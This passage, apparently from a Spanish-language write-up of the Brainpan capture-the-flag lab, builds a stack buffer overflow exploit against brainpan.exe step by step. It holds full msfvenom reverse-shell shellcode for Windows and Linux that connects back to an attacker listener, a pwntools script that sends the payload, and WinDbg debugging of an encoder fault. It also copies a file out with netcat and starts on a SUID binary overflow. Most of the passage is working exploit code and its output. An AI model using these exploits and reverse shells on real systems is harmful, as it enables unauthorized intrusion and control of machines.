shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"
shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"
payload = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Nos ponemos en escucha con netcat
y corremos el exe
desde una shell normal
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
PS C:\Users\user\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
Ejecutamos el exploit
y el programa corrompe sin embargo no
recibimos una shell
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Si miramos ahora desde el debugger podemos ver que el eip
apunta a una instrucción cuyo opcode es 0000
, parece que hubo un problema en alguna parte
0:000> g
(23f8.231c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff916 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
005ff916 0000 add byte ptr [eax],al ds:002b:ffffffff=??
Shellcode Analisis
Para entender porque pasa esto establecemos un breakpoint
en la dirección que ejecuta jmp esp
y enviamos nuevamente el exploit, ahora podemos desensamblar las instrucciones usando u
y analizar cual de estas esta ocasionando el problema
0:000> bp 0x311712f3
0:000> g
Breakpoint 0 hit
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
brainpan+0x12f3:
311712f3 ffe4 jmp esp {005ff910}
0:000> u esp
005ff910 dad8 fcmovu st,st(0)
005ff912 d97424f4 fnstenv [esp-0Ch]
005ff916 bbf43acbbd mov ebx,0BDCB3AF4h
005ff91b 5d pop ebp
005ff91c 2bc9 sub ecx,ecx
005ff91e b152 mov cl,52h
005ff920 83c504 add ebp,4
005ff923 315d13 xor dword ptr [ebp+13h],ebx
La instrucción que esta ocasionando el error es fnstenv
, leyendo documentación podemos ver que guarda 28
bytes del estado del FPU, ¿cual es el problema? que lo esta escribindo en esp - 0xc
o esp - 12
por lo que escribe 12
bytes antes del stack y 16
bytes despues del stack que probablemente sobrescriben el shellcode
Para verlo un poco mejor veamos el contenido del stack
antes y despues de la instrucción, ahora mismo en el stack esta almacenado el shellcode que enviamos
0:000> dds esp L6
005ff910 74d9d8da (esp + 0)
005ff914 f4bbf424 (esp + 4)
005ff918 5dbdcb3a (esp + 8)
005ff91c 52b1c92b (esp + 12)
005ff920 3104c583 (esp + 16)
005ff924 a903135d (esp + 20)
Al ejecutar la instrucción fnstenv
la siguiente instrucción equivale a el hex 0000
0:000> g 0x005ff912
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff912 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
005ff912 d97424f4 fnstenv [esp-0Ch] ss:002b:005ff904=41
0:000> p
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff916 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
005ff916 0000 add byte ptr [eax],al ds:002b:ffffffff=??
Esto pasa debido a que la instrucción sobrescribió 4 dwords
o 16 bytes
del stack
0:000> dds esp L6
005ff910 00000000 (esp + 0) [overwrited]
005ff914 00000000 (esp + 4) [overwrited]
005ff918 00000000 (esp + 8) [overwrited]
005ff91c ffff0000 (esp + 12) [overwrited]
005ff920 3104c583 (esp + 16)
005ff924 a903135d (esp + 20)
La solución mas simple es usar nops
, antes del shellcode enviamos 16 nops
entonces al sobrescribir los 16 bytes
sobrescribira los nops y no nuestro shellcode
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 524
junk = b"A" * offset
shellcode = b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"
shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"
shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"
payload = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += asm("nop") * 16 # padding
payload += shellcode
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Para verlo desde el debugger podemos establecer nuevamente el breakpoint
y mirar el stack, podemos ver 4 dwords
de nops y justo despues el inicio del shellcode
0:000> bp 0x311712f3
0:000> g
Breakpoint 0 hit
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
brainpan+0x12f3:
311712f3 ffe4 jmp esp {005ff910}
0:000> dds esp L6
005ff910 90909090 (nops)
005ff914 90909090 (nops)
005ff918 90909090 (nops)
005ff91c 90909090 (nops)
005ff920 74d9d8da (shellcode start)
005ff924 f4bbf424
Después de ejecutar la instrucción fnstenv
los 4 dwords
de nops se sobrescriben sin embargo el inicio del shellcode
se mantiene intacto por lo que la ejecución de este no se deberia ver afectada y deberia ejecutarlo correctamente enviando la revshell
0:000> g 0x005ff922
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff922 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
005ff922 d97424f4 fnstenv [esp-0Ch] ss:002b:005ff904=41
0:000> p
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff926 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
005ff926 bbf43acbbd mov ebx,0BDCB3AF4h
0:000> dds esp L6
005ff910 00000000 (overwrited)
005ff914 00000000 (overwrited)
005ff918 00000000 (overwrited)
005ff91c ffff0000 (overwrited)
005ff920 74d9d8da (shellcode start)
005ff924 f4bbf424
El problema es ocasionado por el encoder, podemos utilizar otro tipo de encoder
como jmp_call_additive
que no tendrá instrucciones que alteren el esp
como si las tiene el encoder shikata_ga_nai
que es el que msfvenom se usa por defecto
✘ -e x86/shikata_ga_nai
✔ -e x86/jmp_call_additive
Asi que creamos un nuevo shellcode
ahora con el encoder x86/jmp_call_additive
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"
shellcode += b"\x60"
De esta forma no usamos nops para evitar el problema y el exploit queda mas simple
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
shellcode = b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"
shellcode += b"\x60"
payload = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Ahora al ejecutar este script nos llegua la shell
sin ningun problema como antes
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
Microsoft Windows [Versión 10.0.23430.1000]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\System32>whoami
xchg2pwn\user
C:\Windows\System32>
Shell - puck
Ahora que funciona simplemente cambiamos la dirección ip de el apartado de remote
shell = remote("192.168.100.2", 9999)
Corremos el exploit y recibimos una shell
de la máquina victima en la unidad Z:
❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done
[*] Closed connection to 192.168.100.2 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2
CMD Version 1.4.1
Z:\home\puck>whoami
File not found.
Z:\home\puck>
No podemos hacer un simple whoami
, sin embargo al mirar la estrucrura de los directorios en la raiz
podemos ver que la estructura es la de un Linux
Z:\home\puck>dir Z:\
Volume in drive Z has no label.
Volume Serial Number is 0000-0000
Directory of Z:
3/4/2013 1:02 PM <DIR> bin
3/4/2013 11:19 AM <DIR> boot
4/7/2023 11:09 PM <DIR> etc
3/4/2013 11:49 AM <DIR> home
3/4/2013 11:18 AM 15,084,717 initrd.img
3/4/2013 11:18 AM 15,084,717 initrd.img.old
3/4/2013 1:04 PM <DIR> lib
3/4/2013 10:12 AM <DIR> lost+found
3/4/2013 10:12 AM <DIR> media
10/9/2012 9:59 AM <DIR> mnt
3/4/2013 10:13 AM <DIR> opt
3/7/2013 11:07 PM <DIR> root
4/7/2023 11:09 PM <DIR> run
3/4/2013 11:20 AM <DIR> sbin
6/11/2012 9:43 AM <DIR> selinux
3/4/2013 10:13 AM <DIR> srv
4/8/2023 12:29 AM <DIR> tmp
3/4/2013 10:13 AM <DIR> usr
8/5/2019 3:47 PM <DIR> var
2/25/2013 2:32 PM 5,180,432 vmlinuz
2/25/2013 2:32 PM 5,180,432 vmlinuz.old
4 files 40,530,298 bytes
17 directories 13,849,333,760 bytes free
Z:\home\puck>
Basta con ejecutar la ruta absoluta del binario sh
para obtener una shell de Linux
Z:\home\puck>/bin/sh
sh: turning off NDELAY mode
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.2
puck@brainpan:~$
Otra forma es cambiando el payload msfvenom
a uno de linux x86 para recibir una sh
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"
Modificamos el script, lo ejecutamos y recibimos directamente una sh de Linux
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
shellcode = b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"
payload = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode
shell = remote("192.168.100.2", 9999)
shell.sendlineafter(b">> ", payload)
❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done
[*] Closed connection to 192.168.100.2 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.2
puck@brainpan:~$
Shell - anansi
Buscando archivos suid
hay uno que sobresale, un binario personalizado validate
puck@brainpan:~$ find / -perm -u+s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
puck@brainpan:~$
El binario pertenece al usuario anansi
y tiene el privilegio suid
en los permisos
puck@brainpan:~$ ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 /usr/local/bin/validate
puck@brainpan:~$
Al ejecutarlo nos pide un input
, asi que le pasamos test
como input aunque realmente no queda muy claro que es lo que hace con el, solo devuelve un mensaje
puck@brainpan:~$ validate
usage validate <input>
puck@brainpan:~$ validate test
validating input...passed.
puck@brainpan:~$
Podemos descargar el binario
en nuestra máquina para analizarlo usando netcat
puck@brainpan:~$ netcat 192.168.100.85 4444 < /usr/local/bin/validate
puck@brainpan:~$
❯ netcat -lvnp 4444 > validate
Listening on 0.0.0.0 4444
Connection received on 192.168.100.2
Para analizarlo podemos abrir el binario con ida
y asi ver el desensamblado, la función main
inicia mostrando un mensaje con printf y llamando a la función validate pasandole el contenido del primer argumento y luego hace un salto condicional
La función validate
recibe el argumento e inicia declarando un iterador llamado i
a 0
, toma la longitud del argumento con strlen
que es muy probable que sea el tope del bucle sobre el que se va a iterar para realizar otras operaciones que analizaremos
La iteración es para comparar el caracter actual con la F
, si es igual muestra un mensaje con printf
y sale con exit
, si no es igual continua el bucle, cuando termina el bucle define un buffer en ebp - 112
y llama a strcpy
para copiar el argumento en ese buffer, resumiendo tenemos un Buffer Overflow y a F
o 0x46
como badchar
Con checksec
podemos ver que el binario no tiene ninguna protección
a evitar
❯ checksec validate
[*] '/home/user/validate'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Iniciamos creando nuestro payload, llenaremos con A's
los 112
bytes del buffer antes de ebp
, luego enviamos 4 B's
para el valor que tomara ebp
en el leave
, luego 4 C's
del return address, además algunas D's
que se guardarán en el stack
❯ python3 -q
>>> b"A" * 112 + b"B" * 4 + b"C" * 4 + b"D" * 40
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
Enviamos el payload como el argumento y podemos ver que nuestra hipotesis se cumple ya que el eip apunta a 0x43434343
, concluimos que el offset para el return address es de 116
bytes y el resto de los bytes osea las D's
se guardan en el stack
❯ gdb -q validate
Reading symbols from validate...
pwndbg> run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Starting program: /home/user/validate AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd840: 'D' <repetidos 40 veces>
pwndbg>
Podriamos intentar una explotación parecida a la del binario brainpan.exe
pero en este caso si queremos saltar al esp
no hay ningun gadget de jmp esp
o equivalente
❯ ropper --file validate --jmp esp
JMP Instructions
================
0 gadgets found
Podemos aprovecharnos del hecho de que strcpy
como return value devuelve un puntero al buffer de destino, por lo que en eax
que es donde se guarda el valor de retorno deberiamos tener una dirección que apunta al inicio de nuestro buffer
pwndbg> x/s $eax
0xffffd7c8: 'A' <repetidos 112 veces>, "BBBBCCCC", 'D' <repetidos 40 veces>
pwndbg>
Si miramos con ropper
direcciones a donde podemos saltar encontramos 2 instrucciones que nos ejecutan call eax
, con lo que volveriamos al inicio del input
❯ ropper --file validate --jmp eax
JMP Instructions
================
0x080484af: call eax;
0x0804862b: call eax;
2 gadgets found
Cualquiera de las 2 direcciones para call eax
es válida pero hay que pasarla a formato little endian
, como no tenemos pwntools
